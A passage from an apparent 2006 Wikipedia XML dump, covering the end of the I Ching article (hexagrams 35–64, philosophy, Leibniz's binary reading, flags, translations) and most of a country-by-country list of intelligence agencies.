&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 35|35. :::|:| Prospering (&amp;#26185; jìn)                ]]&lt;/td&gt;&lt;td&gt;Progress&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 36|36. |:|::: Brightness Hiding (&amp;#26126;&amp;#22839; míng yí)    ]]&lt;/td&gt;&lt;td&gt;Darkening of the Light&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 37|37. |:|:|| Dwelling People (&amp;#23478;&amp;#20154; ji&amp;#257; rén)      ]]&lt;/td&gt;&lt;td&gt;The Family&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 38|38. ||:|:| Polarising (&amp;#30589; kuí)                ]]&lt;/td&gt;&lt;td&gt;Opposition&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 39|39. ::|:|: Limping (&amp;#36423; ji&amp;#462;n)                  ]]&lt;/td&gt;&lt;td&gt;Obstruction&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 40|40. :|:|:: Taking-Apart (&amp;#35299; xiè)              ]]&lt;/td&gt;&lt;td&gt;Deliverance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 41|41. ||:::| Diminishing (&amp;#25613; s&amp;#468;n)               ]]&lt;/td&gt;&lt;td&gt;Decrease&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 42|42. |:::|| Augmenting (&amp;#30410; yì)                 ]]&lt;/td&gt;&lt;td&gt;Increase&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 43|43. |||||: Parting (&amp;#22828; guài)                  ]]&lt;/td&gt;&lt;td&gt;Breakthrough&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 44|44. :||||| Coupling (&amp;#23012; gòu)                  ]]&lt;/td&gt;&lt;td&gt;Coming to Meet&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 45|45. :::||: Clustering (&amp;#33795; cuì)                ]]&lt;/td&gt;&lt;td&gt;Gathering Together&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 46|46. :||::: Ascending (&amp;#21319; sh&amp;#275;ng)               ]]&lt;/td&gt;&lt;td&gt;Pushing Upward&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 47|47. :|:||: Confining (&amp;#22256; kùn)                 ]]&lt;/td&gt;&lt;td&gt;Oppression&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 48|48. :||:|: Welling (&amp;#20117; j&amp;#464;ng)                  ]]&lt;/td&gt;&lt;td&gt;The Well&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 49|49. |:|||: Skinning (&amp;#38761; gé)                   ]]&lt;/td&gt;&lt;td&gt;Revolution&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 50|50. :|||:| Holding (&amp;#40718; d&amp;#464;ng)                  ]]&lt;/td&gt;&lt;td&gt;The Cauldron&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 51|51. |::|:: Shake (&amp;#38663; zhèn)                    ]]&lt;/td&gt;&lt;td&gt;Arousing&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 52|52. ::|::| Bound (&amp;#33390; gèn)                     ]]&lt;/td&gt;&lt;td&gt;The Keeping Still&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 53|53. ::|:|| Infiltrating (&amp;#28472; jiàn)             ]]&lt;/td&gt;&lt;td&gt;Development&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 54|54. ||:|:: Converting The Maiden (&amp;#27512;&amp;#22969; gu&amp;#299; mèi)]]&lt;/td&gt;&lt;td&gt;The Marrying Maiden&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 55|55. |:||:: Abounding (&amp;#35920; f&amp;#275;ng)                ]]&lt;/td&gt;&lt;td&gt;Abundance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 56|56. ::||:| Sojourning (&amp;#26053; lü&amp;#780;)                ]]&lt;/td&gt;&lt;td&gt;The Wanderer&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 57|57. :||:|| Ground (&amp;#24061; xùn)                    ]]&lt;/td&gt;&lt;td&gt;The Gentle&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 58|58. ||:||: Open (&amp;#20812; duì)                      ]]&lt;/td&gt;&lt;td&gt;The Joyous&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 59|59. :|::|| Dispersing (&amp;#28185; huàn)               ]]&lt;/td&gt;&lt;td&gt;Dispersion&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 60|60. ||::|: Articulating (&amp;#31680; jié)              ]]&lt;/td&gt;&lt;td&gt;Limitation&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 61|61. ||::|| Centre Confirming (&amp;#20013;&amp;#23386; zh&amp;#333;ng fú)   ]]&lt;/td&gt;&lt;td&gt;Inner Truth&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 62|62. ::||:: Small Exceeding (&amp;#23567;&amp;#36942; xi&amp;#462;o guò)     ]]&lt;/td&gt;&lt;td&gt;Small Preponderance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 63|63. |:|:|: Already Fording (&amp;#26082;&amp;#28639; jì jì)        ]]&lt;/td&gt;&lt;td&gt;After Completion&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[I Ching hexagram 64|64. :|:|:| Not-Yet Fording (&amp;#26410;&amp;#28639; wèi jì)       ]]&lt;/td&gt;&lt;td&gt;Before Completion&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

The hexagrams, though, are mere mnemonics for the philosophical concepts embodied in each one.  The philosophy centres around the ideas of ''balance through opposites'' and ''acceptance of change''.

==Unicode==

The hexagram symbols range from U+4DC0 &amp;#8211; U+4DFF (19904 &amp;#8211; 19967) in [[Unicode]].

== Philosophy ==

Gradations of binary expression based on yin and yang -- old yang, old yin, young yang or young yin (see the ''divination'' paragraph below) -- are what the hexagrams are built from. Yin and yang, while common expressions associated with many schools known from classical Chinese culture, are especially associated with the [[Taoist]]s.

Another view holds that the ''I Ching'' is primarily a [[Confucianism|Confucianist]] ethical or philosophical document. This view is based upon the following:
* The Wings or Appendices are attributed to Confucius.
* The study of the ''I Ching'' was required as part of the Civil Service Exams. These exams only studied Confucianist texts.
* It is one of the Five Confucian Classics.
* It does not appear in any surviving editions of the [[Dao Zheng]].
* The major commentaries were written by Confucianists, or Neo-Confucianists.

Both views may be seen to show that the ''I Ching'' was at the heart of Chinese thought, serving as a common ground for the Confucian and Taoist schools. Partly forgotten due to the rise of Chinese Buddhism during the [[Tang dynasty]], the ''I Ching'' returned to the attention of scholars during the [[Song dynasty]].  This was concomitant with the reassessment of Confucianism by Confucians in the light of Taoist and Buddhist [[metaphysics]], and is known in the West as [[Neo-Confucianism]]. The book, unquestionably an ancient Chinese scripture, helped Song Confucian thinkers to synthesize Buddhist and Taoist cosmologies with Confucian and Mencian [[ethics]].  The end product was a new [[cosmogony]] that could be linked to the so-called &quot;lost Tao&quot; of [[Confucius]] and [[Mencius]].

=== Binary sequence ===

In his article ''[[Explication de l'Arithmétique Binaire]]'' ([[1703]]) [[Gottfried Leibniz]] writes that he has found in the hexagrams a base for claiming the universality of the [[binary numeral system]]. He takes the layout of the combinatorial exercise found in the hexagrams to represent binary sequences, so that :::::: would correspond to the binary sequence 000000 and :::::| would be 000001, and so forth.

The binary arrangement of hexagrams was developed by the famous Chinese scholar and philosopher [[Shao Yung]] (a neo-Confucian and Taoist) in the 11th century. He displayed it in two different formats, a circle, and a rectangular block. Thus, he clearly understood the sequence represented a logical progression of values. However, while it is true that these sequences do represent the values 0 through 63 in a binary display, there is no evidence that Shao understood that the numbers could be used in computations such as addition or subtraction.

== Divination ==
{{main|I Ching divination}}

The ''I Ching'' has long been used as an oracle and many different ways coexist to &quot;cast&quot; a reading, i.e., a hexagram, with its dynamic relationship to others.

== Symbolism ==
[[Image:South_korea_flag_large.png|thumb|The flag of South Korea, with ''tàijítú'' in the center with four trigrams representing Heaven, Water, Earth, and Fire (beginning top left and proceeding clockwise).]]
[[Image:Old Flag Of Vietnam.png|thumb|Flag of the [[Empire of Vietnam]] uses Hexagram number 30]]
The [[Flag of South Korea]] contains the [[taijitu|''T'ai Chi'' symbol]], or ''tàijítú,'' (yin and yang in dynamic balance, called ''Taeguk'' in Korean), representing the origin of all things in the universe.  The ''taijitu'' is surrounded by four of the eight trigrams, starting from top left and going clockwise: Heaven, Water, Earth, Fire.

The flag of the [[Empire of Vietnam]] used the hexagram number 30 and was known as ''cờ quẻ Ly'' (Li hexagram flag) because the hexagram represents South.  Its successor the [[South Vietnam|Republic of Vietnam]] connected the middle lines, turning it into hexagram number 1. (see [[Flag of the Republic of Vietnam]]).

==Influence on Western culture==
{{main|I Ching's influence}}  

The ''I Ching'' has influenced countless Chinese philosophers, artists and even businessmen throughout history. In more recent times, several Western artists have used it.

==Translations==
*Blofeld, J. 1965. ''The Book of Changes: A New Translation of the Ancient Chinese I Ching''.  New York: E. P. Dutton.
*Huang, A. 1998. ''The Complete I Ching: the Definitive Translation From the Taoist Master Alfred Huang''.  Rochester, N.Y: Inner Traditions.
*Hua-Ching Ni.  1999.  ''I Ching: The Book of Changes and the Unchanging Truth''. (2nd edition).  Los Angeles: Seven Star Communications.
*Legge, J. 1964. ''I Ching: Book of Changes''.  With introduction and study guide by [[Ch'u Chai]] and [[Winberg Chai]].  New York: Citadel Press.
*''I Ching, The Classic of Changes'', The first English translation of the newly discovered second-century B.C. Mawangdui texts by Edward L. Shaughnessy, Ballantine, 1996. ISBN 0345362438.
*Wilhelm, R. &amp; Baynes, C., 1967. ''The I Ching or Book of Changes,'' With forward by [[Carl Jung]]. 3rd. ed., Bollingen Series XIX.  Princeton NJ: Princeton University Press (1st ed. 1950).

==References==
*Herbie Brennan, 1973. ''The Syncronistic Barometer'', [[Astounding (magazine)|Analog]], August 1973.
*Marshall, S. 2001. ''The Mandate of Heaven: Hidden History in the I Ching''.  Columbia University Press
*Rutt, R. 1996.  ''Zhouyi: The Book of Changes''.  Curzon Press.
*Reifler, Samuel. 1974. &quot;I Ching: A New Interpretation for Modern Times.&quot; Bantam New Age Books. ISBN: 0553278738

==External links==
* [http://www.zhouyi.com/ I CHING Bookmarks] - Directory of ''I Ching'' sites
* [http://pacificcoast.net/~wh/Index.html The I Ching on the Net] includes full text translations of the ''I Ching'', commentaries and other links.
* {{dmoz|Society/Religion_and_Spirituality/Divination/I_Ching|I Ching}}

{{I Ching}}

[[Category:I Ching| ]]
[[Category:Chinese thought]]
[[Category:Chinese classic texts]]
[[Category:Divination]]
[[Category:Taoist texts]]

{{Link FA|de}}
{{Link FA|vi}}

[[af:I-Ching]]
[[da:I Ching]]
[[de:I Ging]]
[[es:I Ching]]
[[fr:Yi Jing]]
[[ko:역경]]
[[it:I Ching]]
[[he:אי צ'ינג]]
[[nl:I Ching]]
[[ja:易経]]
[[pl:I Ching]]
[[pt:I Ching]]
[[ru:Книга Перемен]]
[[vi:Kinh Dịch]]
[[zh:易经]]</text>
    </revision>
  </page>
  <page>
    <title>List of intelligence agencies</title>
    <id>15284</id>
    <revision>
      <id>42141179</id>
      <timestamp>2006-03-04T02:20:10Z</timestamp>
      <contributor>
        <username>Necrothesp</username>
        <id>64853</id>
      </contributor>
      <comment>/* [[Nigeria]] */  piped</comment>
      <text xml:space="preserve">The following is a partial list of current '''[[intelligence agency|intelligence agencies]]'''.

==Agencies by country==

=== [[Albania]] ===
*[[National Intelligence Service (Albania)|National Intelligence Service]] (SHIK)
*[[National Intelligence Service (Albania)|State Intelligence Service]] (SHISH)

=== [[Argentina]] ===
*[[Secretaría de Inteligencia]] (SI) (Secretariat of Intelligence)
**[[Escuela Nacional de Inteligencia]] (ENI) (National Intelligence School)
**[[Dirección de Observaciones Judiciales]] (DOJ) (Directorate of Judicial Surveillance)
*[[Servicio Federal de Lucha contra el Narcotráfico]] (SEFECONAR) (Federal Counternarcotics Service)
*[[Sistema de Inteligencia Nacional]] (SIN) (National Intelligence System)
*[[Dirección Nacional de Inteligencia Criminal]] (DNIC) (National Directorate of Criminal Intelligence)
*[[Dirección Nacional de Inteligencia Estratégica Militar]] (DNIEM) (National Directorate of Strategic Military Intelligence)
*[[Inteligencia del Servicio Penitenciario Federal]] (Federal Penitentiary Service Intelligence)
*[[Inteligencia de la Policía Federal Argentina]] (Argentine Federal Police Intelligence)
*[[Inteligencia de la Policía Bonaerense]] (SIPBA) (Buenos Aires Police Intelligence)
*[[Inteligencia de la Gendarmería Nacional Argentina]] (SIGN) (Argentine National Gendarmerie Intelligence)
*[[Inteligencia de la Prefectura Naval Argentina]] (SIPN) (Argentine Naval Prefecture Intelligence)
*[[Inteligencia de la Policía de Seguridad Aeroportuaria]] (Airport Security Police Intelligence)
*[[Unidad de Inteligencia Financiera]] (UIF) (Financial Intelligence Unit)
*[[Jefatura de Inteligencia del Estado Mayor Conjunto de las Fuerzas Armadas]] (J-2) (Intelligence Department of the Joint General Staff of the Armed Forces)
**[[Central de Reunión de Inteligencia Militar]] (CRIM) (Military Intelligence Collection Center)
**[[Servicio de Inteligencia del Ejército (Argentina)|Servicio de Inteligencia del Ejército]] (SIE) (Army Intelligence Service)
**[[Servicio de Inteligencia Naval (Argentina)|Servicio de Inteligencia Naval]] (SIN) (Naval Intelligence Service)
**[[Servicio de Inteligencia de la Fuerza Aérea (Argentina)|Servicio de Inteligencia de la Fuerza Aérea]] (SIFA) (Air Force Intelligence Service)

=== [[Australia]] ===
*[[Australian Security Intelligence Organisation]] (ASIO)
*[[Australian Secret Intelligence Service]] (ASIS)
*[[Defence Intelligence Organisation]] (DIO)
*[[Defence Imagery and Geospatial Organisation]] (DIGO)
*[[Defence Signals Directorate]] (DSD)
*[[Office of National Assessments]] (ONA)

=== [[Austria]] ===
* [[Heeresnachrichtenamt]] (HNA) (Army Intelligence Office)
* [[Abwehramt]] (AWA) (Military Protective Office)
* [[Bundesamt für Verfassungsschutz und Terrorismusbekämpfung]] (BVT) (Federal Office for the Protection of the Constitution and Counter-Terrorism)
** [[Landesamt für Verfassungsschutz und Terrorismusbekämpfung]] (LVT) (State Offices for the Protection of the Constitution and Counter-Terrorism)

=== [[Azerbaijan]] ===
*[[Milli Tehlukesizlik Nazirliyi]] (MTN) (Ministry of National Security)

=== [[Belarus]] ===
*[[Committee for State Security]] (KGB)

=== [[Belgium]] ===
*[[Belgian State Security Service|Veiligheid van de Staat / Staatsveiligheid / Sûreté de l'État]] (SV/SE) (State Security Service)
*[[Belgian General Information and Security Service|Algemene Dienst Inlichting en Veiligheid / Service Général du Renseignement et de la Sécurité]] (ADIV/SGRS) (General Information and Security Service)

=== [[Bermuda]] ===
*[[Special Branch]]

=== [[Bosnia and Herzegovina]] ===
*[[Obavještajno sigurnosna agencija]] (OSA)
*[[Agencija za istragu i zaštitu]] (SIPA)

=== [[Brazil]] ===
*[[Agência Brasileira de Inteligência]] (ABIN) (Brazilian Intelligence Agency)

=== [[Bulgaria]] ===
*[[Nacionalna razuznavatelna sluzhba]] (NRS)
*[[Nacionalna sluzhba za sigurnost]] (NSS)

=== [[Canada]] ===

*[[Canadian Foreign Intelligence Agency]] (CFIA)
*[[Canadian Security Intelligence Service]] (CSIS)
*[[Communications Security Establishment]] (CSE)
*[[Canadian Forces Security and Intelligence Branch]]

=== [[People's Republic of China|China, People's Republic of]] ===
*[[Ministry of State Security|Guojia Anquan Bu]] (Guoanbu) (Ministry of State Security)
*[[Ministry of Public Security of the People's Republic of China|Gonggong Anquan Bu]] (Gonganbu) (Ministry of Public Security)

=== [[Republic of China|China, Republic of]] ===
*[[National Security Bureau]] (NSB)

=== [[Colombia]] ===
*[[Departamento Administrativo de Seguridad]] (DAS) (Administrative Department of Security)

=== [[Croatia]] ===
*[[Protuobavještajna agencija]] (POA) (Counter-Intelligence Agency)
*[[Obavještajna agencija]] (OA) (Intelligence Agency)
*[[Vojna sigurnosna agencija]] (VSA) (Military Security Agency)
Note: POA and OA awaiting merge into [[Središnja obavještajna agencija]] (SOA) (Central Intelligence Agency)

=== [[Cuba]] ===
*[[General Intelligence Directorate|Dirección General de Inteligencia]] (DGI) (General Directorate of Intelligence)
*[[Revolutionary Armed Forces Intelligence]]

=== [[Czech Republic]] ===
*[[Bezpecnostni informacni sluzba]] (BIS)
*[[Urad pro zahranicni styky a informace]] (UZSI)

=== [[Denmark]] ===
*[[Politiets Efterretningstjeneste]] (PET) (Police Intelligence Service)
*[[Forsvarets Efterretningstjeneste]] (FE) (Defence Intelligence Service)

=== [[Egypt]] ===
*[[General Directorate of State Security Service|Al-Mukhabarat al-'Ammah]] (General Directorate of State Security Service)
* [[Mukhabarat el-Khabeya]] (Military Intelligence)

=== [[Estonia]] ===
*[[Kaitsepolitseiamet]] (KAPO) (Security Police Board)

=== [[Finland]] ===
*[[Suojelupoliisi]] (Supo) (Protection Police)

=== [[France]] ===
*[[Direction de la Surveillance du Territoire]] (DST) (Directorate of Territorial Surveillance)
*[[Direction Générale de la Sécurité Extérieure]] (DGSE) (General Directorate of External Security)
*[[Direction centrale des renseignements généraux|Direction Centrale des Renseignements Généraux]] (RG) (Central Directorate of General Intelligence)
*[[Direction du Renseignement Militaire]] (DRM) (Directorate of Military Intelligence)
*[[Direction de la Protection et de la Sécurité de la Défense]] (DPSD) (Directorate of Protection and Defense Security)

=== [[Germany]] ===
*[[Verfassungsschutz]] (Protection of the Constitution)
**[[Bundesamt fur Verfassungsschutz]] (BFV) (Federal Office for the Protection of the Constitution)
**[[Landesämter für Verfassungsschutz]] (LFV) (State Offices for the Protection of the Constitution)
*[[Bundesnachrichtendienst]] (BND) (Federal Intelligence Service)
*[[Militärischer Abschirmdienst]] (MAD) (Military Protective Service)

=== [[Greece]] ===
*[[Hellenic National Intelligence Service|Ethniki Ypiresia Pliroforion]] (EYP) (National Intelligence Service)

=== [[Hungary]] ===
*[[Információs Hivatal]] (IH) (Information Office)
*[[Katonai Biztonsági Hivatal]] (KBH) (Military Security Office)
*[[Katonai Felderítő Hivatal]] (KFH) (Military Reconnaissance Office)
*[[Nemzetbiztonsági Hivatal]] (NBH) (National Security Office)
*[[Nemzetbiztonsági Szakszolgálat]] (NBSZ) (National Security Special Service)

=== [[India]] ===
*[[Defense Intelligence Agency (India)|Defense Intelligence Agency]] (DIA)
*[[Intelligence Bureau]] (IB)
*[[Research and Analysis Wing]] (RAW)

=== [[Indonesia]] ===
*[[Badan Intelijen Nasional]] (BIN)

=== [[Iran]] ===
*[[Ministry of Intelligence (Iran)|Vezarat-e Ettela'at va Amniat-e Keshvar]] (VEVAK) (Ministry of Intelligence and National Security)

=== [[Iraq]] ===
* [[Iraqi National Intelligence Service]]
* [[General Security Directorate|Mudiriyat al-Amn al-Amma]]

=== [[Republic of Ireland|Ireland, Republic of]] ===
* [[Irish Secret Service]]
* [[G2 (Republic of Ireland)|G2]] (Military Intelligence)

=== [[Israel]] ===
*[[Mossad|ha-Mossad le-Modiin ule-Tafkidim Meyuhadim]] (Mossad) (Institute for Intelligence and Special Operations)
*[[Shin Bet|Sherut ha-Bitachon ha-Klali]] (Shabak or Shin Bet)
*[[Aman (IDF)|Agaf ha-Modi'in]] (Aman)

=== [[Italy]] ===
*[[CESIS|Comitato Esecutivo per i Servizi di Informazione e Sicurezza]] (CESIS) (Executive Committee for Intelligence and Security Services)
*[[Comitato Interministeriale per le Informazioni e la Sicurezza]] (CIIS) (Inter-ministerial Committee for Intelligence and Security)
*[[SISDE|Servizio per le Informazioni e la Sicurezza Democratica]] (SISDE) (Democratic Intelligence and Security Service)
*[[SISMI|Servizio per le Informazioni e la Sicurezza Militare]] (SISMI) (Military Intelligence and Security Service)

=== [[Japan]] ===
*[[Naicho|Naikaku Jouho Chousashitsu]] (Naicho) (Cabinet Intelligence and Research Office)
*[[Public Security Intelligence Agency]] (PSIA), [[Ministry of Justice (Japan)|Ministry of Justice]]
*[[Defense Intelligence Headquarters]] (DIH), [[Defence Agency]]
*[[Intelligence and Analysis Service]] (IAS), [[Ministry of Foreign Affairs (Japan)|Ministry of Foreign Affairs]]
*[[Security Bureau (Japan)|Security Bureau]] (SB), [[National Police Agency (Japan)|National Police Agency]]

=== [[Jordan]] ===
*[[Dairat al-Mukhabarat]]

=== [[South Korea]] ===
*[[National Intelligence Service (South Korea)|National Intelligence Service]] (NIS)

=== [[Libya]] ===
*[[Jamahiriya el-Mukhabarat]]
=== [[Luxembourg]] ===
*[[Service de Renseignement de l'Etat]] (State Intelligence Service)

=== [[Malaysia]] ===
*[[Cawangan Khas]] (Special Branch)
*[[Jabatan Risikan Persekutuan]] (Federal Intelligence Department)
*[[Kor Risikan DiRaja]] (Royal Intelligence Corps)

=== [[Maldives]] ===
*[[National Security Service (Maldives)|National Security Service]] (NSS)

=== [[Isle of Man|Man, Isle of]] ===
* [[Special Branch]]

=== [[Mexico]] ===
*[[Centro de Investigacion y Seguridad Nacional]] (CISEN) (National Security and Investigation Centre)

=== [[Republic of Moldova|Moldova]] ===
*[[Information and Security Service of the Republic of Moldova|Serviciul de Informaţii şi Securitate al Republicii Moldova]] (SIS) (Information and Security Service of the Republic of Moldova)

=== [[Morocco]] ===
*[[Direction de la Surveillance du Territoire du Maroc|Direction de la Surveillance du Territoire]] (DST) (Directorate of Territorial Surveillance)

=== [[Netherlands]] ===
*[[General Intelligence and Security Service|Algemene Inlichtingen- en Veiligheidsdienst]] (AIVD) (General Intelligence and Security Service)
*[[Military Intelligence and Security Service|Militaire Inlichtingen- en Veiligheidsdienst]] (MIVD) (Military Intelligence and Security Service)

=== [[New Zealand]] ===
*[[Government Communications Security Bureau]]
*[[New Zealand Security Intelligence Service|Security Intelligence Service]]

=== [[Nigeria]] ===
*[[State Security Service]] (SSS)
*[[National Intelligence Agency (Nigeria)|National Intelligence Agency]] (NIA)

=== [[Norway]] ===
*[[Politiets Sikkerhetstjeneste]] (PST) (Police Security Agency)
*[[Nasjonal Sikkerhetsmyndighet]] (NSM) (National Security Authority)
*[[Norwegian National Intelligence Service|Forsvarets Etterretningstjeneste]] (Defence Intelligence Agency)

=== [[Pakistan]] ===
*[[Inter-Services Intelligence|Directorate for Inter-Services Intelligence]] (ISI)

=== [[Philippines]] ===
*[[Intelligence Group]], Philippine National Police
*[[Intelligence Service of the Armed Forces of the Philippines]] (ISAFP)
*[[National Intelligence Coordinating Agency]] (NICA)
*[[National Bureau of Investigation]] (NBI)

=== [[Poland]] ===
*[[Agencja Wywiadu]] (AW) (Foreign Intelligence Agency)
*[[Agencja Bezpieczeństwa Wewnetrznego|Agencja Bezpieczeństwa Wewnętrznego]] (ABW) (Internal Security Agency)
*[[Wojskowe Służby Informacyjne]] (WSI) (Military Intelligence Service)

=== [[Portugal]] ===
*[[Sistema de Informações da República Portuguesa]] (SIRP) (Intelligence System of the Republic of Portugal)
*[[Serviço de Informações de Segurança]] (SIS) (Security Intelligence Service)
*[[Serviço de Informações Militares]] (SIM) (Military Intelligence Service)
*[[Serviço de Informações Estratégicas de Defesa]] (SIED) (Strategic Defense Intelligence Service)

=== [[Romania]] ===
*[[Romanian Intelligence Service|Serviciul Român de Informatii]] (SRI) (Romanian Intelligence Service)
*[[Serviciul de Informatii Externe]] (SIE) (External Intelligence Service)
*[[Serviciul de Protectie &amp;#351;i Paza]] (SPP) (Protection and Security Service)
*[[Directia Generala de Informatii a Apararii]] (DGIA) (Directorate General of Defence Intelligence)
** Directia de Informatii Militare (DIM) (Directorate of Military Intelligence)
** Directia de Siguranta Militara (DSM - J2) (Directorate of Military Security)
*[[Directia Generala de Informatii si Protectie Interna]] (DGIPI) (Directorate General of Information and Internal Protection) (Ministry of the Interior)
*[[Directia Generala de Protectie si Anticoruptie]] (DGPA) (Directorate General of Protection and Anti-Corruption) (Ministry of Justice)
*[[Serviciul de Telecomunicatii Speciale]] (STS) (Special Telecommunications Service)

=== [[Russia|Russian Federation]] ===
*[[FSB (Russia)|Federalnaya Sluzhba Bezopasnosti]] (FSB) (Federal Security Service)
*[[GRU|Glavnoye Razvedyvatelnoye Upravlenie]] (GRU) (Main Intelligence Directorate)
*[[Sluzhba Vneshney Razvedki]] (SVR) (Foreign Intelligence Service)

=== [[Saudi Arabia]] ===
*[[Al Mukhabarat Al A'amah]] (General Intelligence Service)

=== [[Serbia]] ===
*[[Bezbednosno Informativna Agencija]] (BIA) (Security Information Agency)

=== [[Singapore]] ===
*[[Internal Security Department]] (ISD)
*[[Security and Intelligence Department]] (SID)

=== [[Slovakia]] ===
*[[Slovenská informačná služba]] (SIS) (Slovak Information Service) 
*[[Vojenské spravodajstvo]] (Military Intelligence)
**[[Vojenská spravodajská služba]] (VSS) (Military Intelligence Service)
**[[Vojenské obranné spravodajstvo]] (VOS) (Military Defence Service)
*[[Národný bezpečnostný úrad]] (NBÚ) (National Security Bureau)

=== [[Slovenia]] ===
*[[Slovenska Obveš&amp;#269;evalno-Varnostna Agencija]] (SOVA) (Slovenian Intelligence and Security Agency)

=== [[South Africa]] ===
*[[National Intelligence Agency]] (NIA)
*[[South African Secret Service]] (SASS)
*[[South African National Defence Force Intelligence Division]] (SANDF-ID)
*[[Crime Intelligence (SAPS)|Crime Intelligence Division, South African Police Service]]

=== [[Spain]] ===
*[[Centro Nacional de Inteligencia]] (CNI) (National Intelligence Centre)

=== [[Sweden]] ===
*[[Militära underrättelse- och säkerhetstjänsten]] (MUST) (Military Intelligence and Security Service)
*[[Swedish Security Service|Säkerhetspolisen]] (SÄPO) (Security Police)
*[[Kontoret för särskild inhämtning]] (KSI)
*[[Swedish National Defence Radio Establishment|Försvarets Radioanstalt]] (FRA) (Defence Radio Establishment)

=== [[Switzerland]] ===
*[[Strategischer Nachrichtendienst]] (SND) (Strategic Intelligence Service)
*[[Dienst für Analyse und Prävention]] (DAP) (Analysis and Prevention Service)
*[[Militärischer Nachrichtendienst]] (MND) (Military Intelligence Service)
*[[Luftwaffennachrichtendienst]] (LWND) (Air Force Intelligence Service)

=== [[Syria]] ===
*[[Idarat al-Mukhabarat al-Amma]] (Directorate of State Intelligence)
*[[Shu'bat al-Mukhabarat al-'Askariyya]] (Department of Military Intelligence)
*[[Idarat al-Mukhabarat al-Jawiyya]] (Directorate of Air Force Intelligence)

=== Taiwan ===
''See [[#Republic of China|Republic of China]]''

=== [[Turkey]] ===
*[[Milli Istihbarat Teskilati]] (MIT) (National Intelligence Organization)
*[[Jandarma Istihbarat ve Terorle Mucadele]] (JITEM)

=== [[Turkmenistan]] ===
*[[Committee for National Security]] (KNB)

=== [[Ukraine]] ===
* [[Holovne Upravlinnya Rozvidky]] (HUR) (Central Intelligence Directorate)
* [[Sluzhba Bezpeky Ukrayiny]] (SBU) (Security Service of Ukraine)
**[[Upravlinnya Derzhavnoyi Okhorony]] (UDO) (State Guard Directorate)
* [[Sluzhba Zovnishnioyi Rozvidky]] (SZR) (External Intelligence Service)

=== [[United Kingdom]] ===
*[[Defence Intelligence Staff]] (DIS)
*[[Government Communications Headquarters]] (GCHQ)
*[[UK Joint Intelligence Committee|Joint Intelligence Committee]] (JIC)
*[[RAF Intelligence|Royal Air Force Intelligence Branch]]
*[[Intelligence Corps]]
*[[Police Intelligence]]
*[[Secret Intelligence Service]] (SIS or MI6)
*[[MI5|Security Service]] (MI5)
*[[Special Branch]]

=== [[United States]] ===
*[[Air Intelligence Agency]] (AIA)
*[[Army Intelligence]]
*[[Central Intelligence Agency]] (CIA)
**[[National Clandestine Service]] (NCS)
*[[Coast Guard Intelligence]]
*[[Defense Intelligence Agency]] (DIA)
*[[Office of Intelligence]], [[United States Department of Energy|Department of Energy]]
*[[Bureau of Intelligence and Research]] (INR), [[United States Department of State|Department of State]]
*[[Office of Intelligence Support]], [[United States Department of the Treasury|Department of the Treasury]]
*[[National Security Division]], [[Federal Bureau of Investigation]]
*[[Information Analysis and Infrastructure Protection Directorate]]
*[[Marine Corps Intelligence]]
*[[National Geospatial-Intelligence Agency]] (NGA)
*[[National Intelligence Council]] (NIC)
*[[National Reconnaissance Office]] (NRO)
*[[National Security Agency]] (NSA)
*[[Office of Naval Intelligence]] (ONI)
*[[United States Secret Service]] (USSS)

===[[Venezuela]]===
*[[Dirección de los Servicios de Inteligencia y Prevención]] (DISIP) (Directorate of Intelligence and Prevention Services)

===[[Vietnam]]===
*[[Second Central Commission of Military Intelligence|Tổng cục 2 tình báo quân đội]] (TC2) (Second Central Commission of Military Intelligence)

===[[Zimbabwe]]===
*[[Central Intelligence Organization]] (CIO)

==See also==
&lt;!-- section with alphabetical order --&gt;
